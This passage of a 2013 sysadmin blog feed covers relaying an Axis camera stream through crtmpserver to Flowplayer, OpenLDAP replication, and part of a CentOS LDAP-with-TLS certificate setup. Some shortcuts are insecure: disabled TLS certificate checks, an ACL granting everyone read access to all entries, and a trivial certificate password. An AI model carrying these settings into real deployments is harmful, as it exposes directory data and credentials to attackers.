<span class='line-number'>52</span>
<span class='line-number'>53</span>
<span class='line-number'>54</span>
<span class='line-number'>55</span>
<span class='line-number'>56</span>
<span class='line-number'>57</span>
<span class='line-number'>58</span>
<span class='line-number'>59</span>
<span class='line-number'>60</span>
<span class='line-number'>61</span>
<span class='line-number'>62</span>
<span class='line-number'>63</span>
<span class='line-number'>64</span>
<span class='line-number'>65</span>
<span class='line-number'>66</span>
<span class='line-number'>67</span>
<span class='line-number'>68</span>
<span class='line-number'>69</span>
<span class='line-number'>70</span>
<span class='line-number'>71</span>
<span class='line-number'>72</span>
<span class='line-number'>73</span>
<span class='line-number'>74</span>
<span class='line-number'>75</span>
<span class='line-number'>76</span>
<span class='line-number'>77</span>
<span class='line-number'>78</span>
<span class='line-number'>79</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">vi</span> <span class="o">/</span><span class="n">opt</span><span class="o">/</span><span class="n">crtmpserver</span><span class="o">/</span><span class="n">configs</span><span class="o">/</span><span class="n">axisfeed</span><span class="p">.</span><span class="n">lua</span>
</span><span class='line'>
</span><span class='line'><span class="n">configuration</span><span class="o">=</span>
</span><span class='line'><span class="p">{</span>
</span><span class='line'>  <span class="n">daemon</span><span class="o">=</span><span class="n">false</span><span class="p">,</span>
</span><span class='line'>  <span class="n">pathSeparator</span><span class="o">=</span><span class="s">&quot;/&quot;</span><span class="p">,</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">logAppenders</span><span class="o">=</span>
</span><span class='line'>  <span class="p">{</span>
</span><span class='line'>      <span class="p">{</span>
</span><span class='line'>          <span class="n">name</span><span class="o">=</span><span class="s">&quot;console appender&quot;</span><span class="p">,</span>
</span><span class='line'>          <span class="n">type</span><span class="o">=</span><span class="s">&quot;coloredConsole&quot;</span><span class="p">,</span>
</span><span class='line'>          <span class="n">level</span><span class="o">=</span><span class="mi">6</span>
</span><span class='line'>      <span class="p">},</span>
</span><span class='line'>      <span class="p">{</span>
</span><span class='line'>          <span class="n">name</span><span class="o">=</span><span class="s">&quot;file appender&quot;</span><span class="p">,</span>
</span><span class='line'>          <span class="n">type</span><span class="o">=</span><span class="s">&quot;file&quot;</span><span class="p">,</span>
</span><span class='line'>          <span class="n">level</span><span class="o">=</span><span class="mi">6</span><span class="p">,</span>
</span><span class='line'>          <span class="n">fileName</span><span class="o">=</span><span class="s">&quot;./logs/crtmpserver&quot;</span><span class="p">,</span>
</span><span class='line'>          <span class="n">fileHistorySize</span><span class="o">=</span><span class="mi">10</span><span class="p">,</span>
</span><span class='line'>          <span class="n">fileLength</span><span class="o">=</span><span class="mi">1024</span><span class="o">*</span><span class="mi">1024</span><span class="p">,</span>
</span><span class='line'>          <span class="n">singleLine</span><span class="o">=</span><span class="n">true</span>    
</span><span class='line'>      <span class="p">}</span>
</span><span class='line'>  <span class="p">},</span>
</span><span class='line'>  
</span><span class='line'>  <span class="n">applications</span><span class="o">=</span>
</span><span class='line'>  <span class="p">{</span>
</span><span class='line'>      <span class="n">rootDirectory</span><span class="o">=</span><span class="s">&quot;applications&quot;</span><span class="p">,</span>
</span><span class='line'>      <span class="p">{</span>
</span><span class='line'>          <span class="n">description</span><span class="o">=</span><span class="s">&quot;FLV Playback&quot;</span><span class="p">,</span>
</span><span class='line'>          <span class="n">name</span><span class="o">=</span><span class="s">&quot;flvplayback&quot;</span><span class="p">,</span>
</span><span class='line'>          <span class="n">protocol</span><span class="o">=</span><span class="s">&quot;dynamiclinklibrary&quot;</span><span class="p">,</span>
</span><span class='line'>          <span class="k">default</span><span class="o">=</span><span class="n">true</span><span class="p">,</span>
</span><span class='line'>          <span class="n">aliases</span><span class="o">=</span>
</span><span class='line'>          <span class="p">{</span>
</span><span class='line'>              <span class="s">&quot;simpleLive&quot;</span><span class="p">,</span>
</span><span class='line'>              <span class="s">&quot;vod&quot;</span><span class="p">,</span>
</span><span class='line'>              <span class="s">&quot;live&quot;</span><span class="p">,</span>
</span><span class='line'>              <span class="s">&quot;WeeklyQuest&quot;</span><span class="p">,</span>
</span><span class='line'>              <span class="s">&quot;SOSample&quot;</span><span class="p">,</span>
</span><span class='line'>              <span class="s">&quot;oflaDemo&quot;</span><span class="p">,</span>
</span><span class='line'>          <span class="p">},</span>
</span><span class='line'>          <span class="n">acceptors</span> <span class="o">=</span>
</span><span class='line'>          <span class="p">{</span>
</span><span class='line'>              <span class="p">{</span>
</span><span class='line'>                  <span class="n">ip</span><span class="o">=</span><span class="s">&quot;0.0.0.0&quot;</span><span class="p">,</span>
</span><span class='line'>                  <span class="n">port</span><span class="o">=</span><span class="mi">1935</span><span class="p">,</span>
</span><span class='line'>                  <span class="n">protocol</span><span class="o">=</span><span class="s">&quot;inboundRtmp&quot;</span>
</span><span class='line'>              <span class="p">},</span>
</span><span class='line'>              <span class="p">{</span>
</span><span class='line'>                  <span class="n">ip</span><span class="o">=</span><span class="s">&quot;0.0.0.0&quot;</span><span class="p">,</span>
</span><span class='line'>                  <span class="n">port</span><span class="o">=</span><span class="mi">6666</span><span class="p">,</span>
</span><span class='line'>                  <span class="n">protocol</span><span class="o">=</span><span class="s">&quot;inboundLiveFlv&quot;</span><span class="p">,</span>
</span><span class='line'>                  <span class="n">waitForMetadata</span><span class="o">=</span><span class="n">true</span><span class="p">,</span>
</span><span class='line'>              <span class="p">},</span>
</span><span class='line'>              <span class="p">{</span>
</span><span class='line'>                  <span class="n">ip</span><span class="o">=</span><span class="s">&quot;0.0.0.0&quot;</span><span class="p">,</span>
</span><span class='line'>                  <span class="n">port</span><span class="o">=</span><span class="mi">9999</span><span class="p">,</span>
</span><span class='line'>                  <span class="n">protocol</span><span class="o">=</span><span class="s">&quot;inboundTcpTs&quot;</span>
</span><span class='line'>              <span class="p">},</span>
</span><span class='line'>          <span class="p">},</span>
</span><span class='line'>          <span class="n">externalStreams</span> <span class="o">=</span>
</span><span class='line'>          <span class="p">{</span>
</span><span class='line'>              <span class="p">{</span>
</span><span class='line'>                          <span class="n">uri</span><span class="o">=</span><span class="s">&quot;rtsp://ip.add.re.ss/axis-media/media.amp&quot;</span><span class="p">,</span>
</span><span class='line'>                          <span class="n">localStreamName</span><span class="o">=</span><span class="s">&quot;feednamecanbewhateveryouwant&quot;</span><span class="p">,</span>
</span><span class='line'>                          <span class="n">forceTcp</span><span class="o">=</span><span class="n">true</span>
</span><span class='line'>                  <span class="p">}</span>
</span><span class='line'>          <span class="p">},</span>
</span><span class='line'>          <span class="n">validateHandshake</span><span class="o">=</span><span class="n">false</span><span class="p">,</span>
</span><span class='line'>          <span class="n">keyframeSeek</span><span class="o">=</span><span class="n">true</span><span class="p">,</span>
</span><span class='line'>          <span class="n">seekGranularity</span><span class="o">=</span><span class="mf">1.5</span><span class="p">,</span> <span class="o">--</span><span class="k">in</span> <span class="n">seconds</span><span class="p">,</span> <span class="n">between</span> <span class="mf">0.1</span> <span class="n">and</span> <span class="mi">600</span>
</span><span class='line'>          <span class="n">clientSideBuffer</span><span class="o">=</span><span class="mi">12</span><span class="p">,</span> <span class="o">--</span><span class="k">in</span> <span class="n">seconds</span><span class="p">,</span> <span class="n">between</span> <span class="mi">5</span> <span class="n">and</span> <span class="mi">30</span>
</span><span class='line'>          <span class="o">--</span><span class="n">generateMetaFiles</span><span class="o">=</span><span class="n">true</span><span class="p">,</span> <span class="o">--</span><span class="n">this</span> <span class="n">will</span> <span class="n">generate</span> <span class="n">seek</span><span class="o">/</span><span class="n">meta</span> <span class="n">files</span> <span class="n">on</span> <span class="n">application</span> <span class="n">startup</span>
</span><span class='line'>          <span class="o">--</span><span class="n">renameBadFiles</span><span class="o">=</span><span class="n">false</span><span class="p">,</span>
</span><span class='line'>          <span class="n">mediaFolder</span><span class="o">=</span><span class="s">&quot;./media&quot;</span><span class="p">,</span>
</span><span class='line'>      <span class="p">},</span>
</span><span class='line'>  <span class="p">}</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>Test your configuration by running the following command. This will give you console output about the feeds being served from crtmpserver. You may also want to open another terminal and double check the server is indeed listening on port 1935 for inbound rtmp. <code>netstat -antp | grep 1935</code></p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="o">/</span><span class="n">opt</span><span class="o">/</span><span class="n">crtmpserver</span><span class="o">/</span><span class="n">crtmpserver</span> <span class="o">/</span><span class="n">opt</span><span class="o">/</span><span class="n">crtmpserver</span><span class="o">/</span><span class="n">configs</span><span class="o">/</span><span class="n">axisfeed</span><span class="p">.</span><span class="n">lua</span>
</span></code></pre></td></tr></table></div></figure>


<p>Next create a simple bash script you can use to start crtmpserver using this configuration as a daemon</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">vi</span> <span class="o">/</span><span class="n">opt</span><span class="o">/</span><span class="n">crtmpserver</span><span class="o">/</span><span class="n">RunFeed</span><span class="p">.</span><span class="n">sh</span>
</span><span class='line'>
</span><span class='line'><span class="cp">#!/bin/bash</span>
</span><span class='line'><span class="p">.</span><span class="o">/</span><span class="n">crtmpserver</span> <span class="o">--</span><span class="n">daemon</span> <span class="p">.</span><span class="o">/</span><span class="n">configs</span><span class="o">/</span><span class="n">axisfeed</span><span class="p">.</span><span class="n">lua</span>
</span></code></pre></td></tr></table></div></figure>


<p>Once you have crtmp server correctly serving your feed it&#8217;s time to display the feed on your webpage with Flowplayer. First download the latest versions of Flowplayer and Flowplayer RTMP from the links at the beginning of this write-up to your webserver. You will then need the following code on your page, replacing <code>name-of-your-feed</code> with the feed name you created for the value of <code>localStreamName</code> you created previously.</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="o">&lt;</span><span class="n">script</span> <span class="n">src</span><span class="o">=</span><span class="s">&quot;flowplayer/flowplayer-3.2.13.min.js&quot;</span><span class="o">&gt;&lt;/</span><span class="n">script</span><span class="o">&gt;</span>
</span><span class='line'>
</span><span class='line'><span class="o">&lt;</span><span class="n">div</span><span class="o">&gt;</span>
</span><span class='line'>   <span class="o">&lt;</span><span class="n">a</span> <span class="kt">id</span><span class="o">=</span><span class="s">&quot;rtmp_player&quot;</span> <span class="n">name</span><span class="o">=</span><span class="s">&quot;rtmp_player&quot;</span> <span class="n">style</span><span class="o">=</span>
</span><span class='line'>    <span class="s">&quot;display: block;height:400px;width:600px;background-color: #ffffff;border: solid 1px #ccc;&quot;</span><span class="o">&gt;&lt;/</span><span class="n">a</span><span class="o">&gt;&lt;</span><span class="n">br</span><span class="o">&gt;</span>
</span><span class='line'>
</span><span class='line'>  <span class="o">&lt;</span><span class="n">br</span><span class="o">&gt;</span>
</span><span class='line'>   <span class="o">&lt;</span><span class="n">script</span><span class="o">&gt;</span>
</span><span class='line'>    <span class="n">$f</span><span class="p">(</span><span class="s">&quot;rtmp_player&quot;</span><span class="p">,</span> <span class="s">&quot;flowplayer/flowplayer-3.2.18.swf&quot;</span><span class="p">,</span> <span class="p">{</span>
</span><span class='line'>        <span class="nl">clip:</span> <span class="p">{</span>
</span><span class='line'>               <span class="n">url</span> <span class="o">:</span> <span class="err">&#39;</span><span class="n">name</span><span class="o">-</span><span class="n">of</span><span class="o">-</span><span class="n">your</span><span class="o">-</span><span class="n">feed</span><span class="err">&#39;</span><span class="p">,</span>
</span><span class='line'>               <span class="n">live</span> <span class="o">:</span> <span class="n">true</span><span class="p">,</span>
</span><span class='line'>               <span class="nl">provider:</span> <span class="err">&#39;</span><span class="n">rtmp</span><span class="err">&#39;</span>
</span><span class='line'>              <span class="p">},</span>
</span><span class='line'>
</span><span class='line'>        <span class="nl">plugins:</span> <span class="p">{</span>
</span><span class='line'>               <span class="nl">rtmp:</span> <span class="p">{</span>
</span><span class='line'>               <span class="nl">url:</span> <span class="err">&#39;</span><span class="n">flowplayer</span><span class="o">/</span><span class="n">flowplayer</span><span class="p">.</span><span class="n">rtmp</span><span class="o">-</span><span class="mf">3.2.13</span><span class="p">.</span><span class="n">swf</span><span class="err">&#39;</span><span class="p">,</span>
</span><span class='line'>               <span class="nl">netConnectionUrl:</span> <span class="err">&#39;</span><span class="nl">rtmp:</span><span class="c1">//crtmp.server.ip.address/live&#39; ,</span>
</span><span class='line'>               <span class="nl">subscribe:</span><span class="n">true</span>
</span><span class='line'>                <span class="p">}</span>
</span><span class='line'>              <span class="p">}</span>
</span><span class='line'>            <span class="p">});</span>
</span><span class='line'>                    <span class="o">&lt;/</span><span class="n">script</span><span class="o">&gt;</span>
</span><span class='line'><span class="o">&lt;/</span><span class="n">div</span><span class="o">&gt;</span>
</span></code></pre></td></tr></table></div></figure>


<p>Your feed should now be viewable as a live stream in flowplayer.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[LDAP Replication]]></title>
    <link href="http://www.computerglitch.net/blog/blog/2013/08/16/ldap-replication/"/>
    <updated>2013-08-16T11:14:00-04:00</updated>
    <id>http://www.computerglitch.net/blog/blog/2013/08/16/ldap-replication</id>
    <content type="html"><![CDATA[<p>I recently had a project where I needed to provide replication for a CentOS 5 LDAP server. The slave (consumer) was going to be running CentOS 6. This post assumes you already have (2) working LDAP servers, fully resolvable, and all ldapsearch queries respond appropriately.</p>

<p>For clarification:</p>

<p><code>Master (Provider in LDAP terms) - CentOS 5 server</code></p>

<p><code>Slave  (Consumer in LDAP terms) - CentOS 6 server</code></p>

<p>On the <code>Master</code>:</p>

<p>Create a new account named <code>replicate</code>. Give the <code>replicate</code> account a password and make sure you can fully query the account from the <code>Slave</code> using <code>ldapsearch</code>.</p>

<p>An example <code>ldapsearch</code> to run from the <code>Slave</code>:</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">ldapsearch</span> <span class="o">-</span><span class="n">h</span> <span class="n">master</span><span class="p">.</span><span class="n">localdomain</span> <span class="o">-</span><span class="n">p</span> <span class="mi">389</span> <span class="o">-</span><span class="n">x</span> <span class="o">-</span><span class="n">b</span> <span class="s">&quot;dc=localdomain,dc=com&quot;</span> <span class="o">-</span><span class="n">D</span> <span class="s">&quot;uid=replicate,ou=People,dc=localdomain,dc=com&quot;</span> <span class="o">-</span><span class="n">W</span>
</span></code></pre></td></tr></table></div></figure>


<p>Add the following to <code>slapd.conf</code> on the <code>Master</code></p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">vi</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">openldap</span><span class="o">/</span><span class="n">slapd</span><span class="p">.</span><span class="n">conf</span>
</span><span class='line'>
</span><span class='line'><span class="n">sizelimit</span>    <span class="mi">100000</span>
</span><span class='line'>
</span><span class='line'><span class="n">access</span> <span class="n">to</span> <span class="o">*</span>
</span><span class='line'>    <span class="n">by</span> <span class="n">self</span> <span class="n">write</span>
</span><span class='line'>    <span class="n">by</span> <span class="n">dn</span><span class="o">=</span><span class="s">&quot;cn=replicate,ou=People,dc=localdomain,dc=com&quot;</span> <span class="n">read</span>
</span><span class='line'>    <span class="n">by</span> <span class="o">*</span> <span class="n">read</span>
</span></code></pre></td></tr></table></div></figure>




<!-- more -->


<p>On the <code>Slave</code>:</p>

<p>Create the <code>cn=module{0}.ldif</code> file with the following contents</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">vi</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">openldap</span><span class="o">/</span><span class="n">slapd</span><span class="p">.</span><span class="n">d</span><span class="o">/</span><span class="n">cn</span><span class="o">=</span><span class="n">config</span><span class="o">/</span><span class="n">cn</span><span class="o">=</span><span class="n">module</span><span class="p">{</span><span class="mi">0</span><span class="p">}.</span><span class="n">ldif</span>
</span><span class='line'>
</span><span class='line'><span class="nl">dn:</span> <span class="n">cn</span><span class="o">=</span><span class="n">module</span><span class="p">{</span><span class="mi">0</span><span class="p">}</span>
</span><span class='line'><span class="nl">objectClass:</span> <span class="n">olcModuleList</span>
</span><span class='line'><span class="nl">cn:</span> <span class="n">module</span><span class="p">{</span><span class="mi">0</span><span class="p">}</span>
</span><span class='line'><span class="nl">olcModulePath:</span> <span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">lib64</span><span class="o">/</span><span class="n">openldap</span>
</span><span class='line'><span class="nl">olcModuleLoad:</span> <span class="p">{</span><span class="mi">0</span><span class="p">}</span><span class="n">back_bdb</span>
</span><span class='line'><span class="nl">olcModuleLoad:</span> <span class="p">{</span><span class="mi">1</span><span class="p">}</span><span class="n">syncprov</span>
</span></code></pre></td></tr></table></div></figure>


<p>Make sure the <code>ldap</code> user is the owner of the file</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">chown</span> <span class="n">ldap</span><span class="p">.</span> <span class="n">cn</span><span class="o">=</span><span class="n">module</span><span class="p">{</span><span class="mi">0</span><span class="p">}.</span><span class="n">ldif</span>
</span></code></pre></td></tr></table></div></figure>


<p>Append the following to the <code>olcDatabase={2}bdb.ldif</code> file replacing &#8216;password&#8217; with the password you created for the replicate user</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="nl">olcSyncrepl:</span> <span class="n">rid</span><span class="o">=</span><span class="mi">135</span>
</span><span class='line'>       <span class="n">provider</span><span class="o">=</span><span class="s">&quot;ldap://master.localdomain:389/&quot;</span>
</span><span class='line'>       <span class="n">type</span><span class="o">=</span><span class="n">refreshAndPersist</span>
</span><span class='line'>       <span class="n">retry</span><span class="o">=</span><span class="s">&quot;60 30 300 +&quot;</span>
</span><span class='line'>       <span class="n">searchbase</span><span class="o">=</span><span class="s">&quot;dc=localdomain,dc=com&quot;</span>
</span><span class='line'>       <span class="n">bindmethod</span><span class="o">=</span><span class="n">simple</span>
</span><span class='line'>       <span class="n">binddn</span><span class="o">=</span><span class="s">&quot;uid=replicate,ou=People,dc=localdomain,dc=com&quot;</span>
</span><span class='line'>       <span class="n">credentials</span><span class="o">=</span><span class="n">password</span>
</span><span class='line'>       <span class="n">tls_reqcert</span><span class="o">=</span><span class="n">never</span>
</span></code></pre></td></tr></table></div></figure>


<p>If you hit problems use the following command to start the server in debug mode with logging to the console.</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">slapd</span> <span class="o">-</span><span class="n">h</span> <span class="nl">ldap:</span><span class="c1">/// ldaps:/// ldapi:/// -u ldap -d 255</span>
</span></code></pre></td></tr></table></div></figure>



]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[CentOS 6.4 LDAP With TLS - Quick &amp; Dirty]]></title>
    <link href="http://www.computerglitch.net/blog/blog/2013/05/04/centos-6-dot-4-ldap-with-tls-quick-and-dirty/"/>
    <updated>2013-05-04T18:53:00-04:00</updated>
    <id>http://www.computerglitch.net/blog/blog/2013/05/04/centos-6-dot-4-ldap-with-tls-quick-and-dirty</id>
    <content type="html"><![CDATA[<p>This post is an overview of the commands needed to setup a basic working LDAP TLS server using CentOS 6.4. I will also go over the process of creating a POSIX user account and a POSIX group. The archived version of this is for CentOS 6 and can be found here: <a href="http://www.computerglitch.net/bin/texts/CentOS6_LDAP.php">CentOS 6 LDAP With TLS</a></p>

<p>Add the following to your iptables configuration to allow access through the firewall, then install the required packages for your LDAP server.</p>

<p><code>/etc/sysconfig/iptables</code></p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="k">-</span><span class="nf">A</span> <span class="n">INPUT</span> <span class="o">-</span><span class="n">m</span> <span class="n">state</span> <span class="o">--</span><span class="n">state</span> <span class="n">NEW</span> <span class="o">-</span><span class="n">m</span> <span class="n">tcp</span> <span class="o">-</span><span class="n">p</span> <span class="n">tcp</span> <span class="o">--</span><span class="n">dport</span> <span class="mi">389</span> <span class="o">-</span><span class="n">j</span> <span class="n">ACCEPT</span>
</span><span class='line'><span class="o">-</span><span class="n">A</span> <span class="n">INPUT</span> <span class="o">-</span><span class="n">m</span> <span class="n">state</span> <span class="o">--</span><span class="n">state</span> <span class="n">NEW</span> <span class="o">-</span><span class="n">m</span> <span class="n">tcp</span> <span class="o">-</span><span class="n">p</span> <span class="n">tcp</span> <span class="o">--</span><span class="n">dport</span> <span class="mi">636</span> <span class="o">-</span><span class="n">j</span> <span class="n">ACCEPT</span>
</span><span class='line'>
</span><span class='line'><span class="n">service</span> <span class="n">iptables</span> <span class="n">restart</span>
</span><span class='line'>
</span><span class='line'><span class="n">yum</span> <span class="n">install</span> <span class="n">openldap</span><span class="o">-</span><span class="n">clients</span> <span class="n">pam_ldap</span> <span class="n">nss</span><span class="o">-</span><span class="n">pam</span><span class="o">-</span><span class="n">ldapd</span> <span class="n">pam_krb5</span> <span class="n">sssd</span> <span class="n">migrationtools</span> <span class="n">openldap</span><span class="o">-</span><span class="n">servers</span> <span class="n">openldap</span> <span class="n">openldap</span><span class="o">-</span><span class="n">devel</span>
</span></code></pre></td></tr></table></div></figure>


<p>Note: The steps for creating the certificates are crucial for TLS to work properly and have changed since CentOS 6.0</p>

<!-- more -->


<p>Backup the old /etc/openldap/certs directory and create a new one so we can generate new certificates</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">cd</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">openldap</span>
</span><span class='line'><span class="n">mv</span> <span class="n">certs</span><span class="p">{,</span><span class="n">_bak</span><span class="p">}</span> <span class="o">&amp;&amp;</span> <span class="n">mkdir</span> <span class="n">certs</span>
</span><span class='line'><span class="n">cd</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">openldap</span><span class="o">/</span><span class="n">certs</span>
</span><span class='line'><span class="n">echo</span> <span class="s">&quot;01234567890&quot;</span> <span class="o">&gt;</span> <span class="n">password</span>
</span><span class='line'><span class="n">echo</span> <span class="s">&quot;jksadhfkjsdhfaks&quot;</span> <span class="o">&gt;&gt;</span> <span class="n">noise</span><span class="p">.</span><span class="n">txt</span>
</span></code></pre></td></tr></table></div></figure>


<p>Associate the password with the certificates which will be generated in the current directory</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">certutil</span> <span class="o">-</span><span class="n">N</span> <span class="o">-</span><span class="n">d</span> <span class="p">.</span> <span class="o">-</span><span class="n">f</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">openldap</span><span class="o">/</span><span class="n">certs</span><span class="o">/</span><span class="n">password</span>
</span><span class='line'><span class="n">certutil</span> <span class="o">-</span><span class="n">G</span> <span class="o">-</span><span class="n">d</span> <span class="p">.</span> <span class="o">-</span><span class="n">z</span> <span class="n">noise</span><span class="p">.</span><span class="n">txt</span> <span class="o">-</span><span class="n">f</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">openldap</span><span class="o">/</span><span class="n">certs</span><span class="o">/</span><span class="n">password</span>
</span></code></pre></td></tr></table></div></figure>


<p>Generate a CA certificate for the server</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">certutil</span> <span class="o">-</span><span class="n">S</span> <span class="o">-</span><span class="n">n</span> <span class="s">&quot;CA certificate&quot;</span> <span class="o">-</span><span class="n">s</span> <span class="s">&quot;cn=CAcert&quot;</span> <span class="o">-</span><span class="n">x</span> <span class="o">-</span><span class="n">t</span> <span class="s">&quot;CT,,&quot;</span> <span class="o">-</span><span class="n">m</span> <span class="mi">1000</span> <span class="o">-</span><span class="n">v</span> <span class="mi">120</span> <span class="o">-</span><span class="n">d</span> <span class="p">.</span> <span class="o">-</span><span class="n">z</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">openldap</span><span class="o">/</span><span class="n">certs</span><span class="o">/</span><span class="n">noise</span><span class="p">.</span><span class="n">txt</span> <span class="o">-</span><span class="n">f</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">openldap</span><span class="o">/</span><span class="n">certs</span><span class="o">/</span><span class="n">password</span>
</span></code></pre></td></tr></table></div></figure>


<p>If prompted: Anwsers are Y, enter accepting defaults, Y</p>

<p>Next build the server cert</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">certutil</span> <span class="o">-</span><span class="n">S</span> <span class="o">-</span><span class="n">n</span> <span class="s">&quot;OpenLDAP Server&quot;</span> <span class="o">-</span><span class="n">s</span> <span class="s">&quot;cn=ldap0.localdomain&quot;</span> <span class="o">-</span><span class="n">c</span> <span class="s">&quot;CA certificate&quot;</span> <span class="o">-</span><span class="n">t</span> <span class="s">&quot;u,u,u&quot;</span> <span class="o">-</span><span class="n">m</span> <span class="mi">1001</span> <span class="o">-</span><span class="n">v</span> <span class="mi">120</span> <span class="o">-</span><span class="n">d</span> <span class="p">.</span> <span class="o">-</span><span class="n">z</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">openldap</span><span class="o">/</span><span class="n">certs</span><span class="o">/</span><span class="n">noise</span><span class="p">.</span><span class="n">txt</span> <span class="o">-</span><span class="n">f</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">openldap</span><span class="o">/</span><span class="n">certs</span><span class="o">/</span><span class="n">password</span>
</span></code></pre></td></tr></table></div></figure>


<p>This exports the cacert in case you need it</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">pk12util</span> <span class="o">-</span><span class="n">d</span> <span class="p">.</span> <span class="o">-</span><span class="n">o</span> <span class="n">cacert</span><span class="p">.</span><span class="n">p12</span> <span class="o">-</span><span class="n">n</span> <span class="s">&quot;CA certificate&quot;</span>
</span></code></pre></td></tr></table></div></figure>


<p>Export the CA cert for ldap clients</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='objc'><span class='line'><span class="n">certutil</span> <span class="o">-</span><span class="n">L</span> <span class="o">-</span><span class="n">d</span> <span class="p">.</span> <span class="o">-</span><span class="n">n</span> <span class="s">&quot;CA certificate&quot;</span> <span class="o">-</span><span class="n">a</span> <span class="o">&gt;</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">openldap</span><span class="o">/</span><span class="n">certs</span><span class="o">/</span><span class="n">cacert</span><span class="p">.</span><span class="n">pem</span>
</span></code></pre></td></tr></table></div></figure>


<p>Make the files in <code>/etc/openldap/certs</code> readable</p>

<figure class='code'> <div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
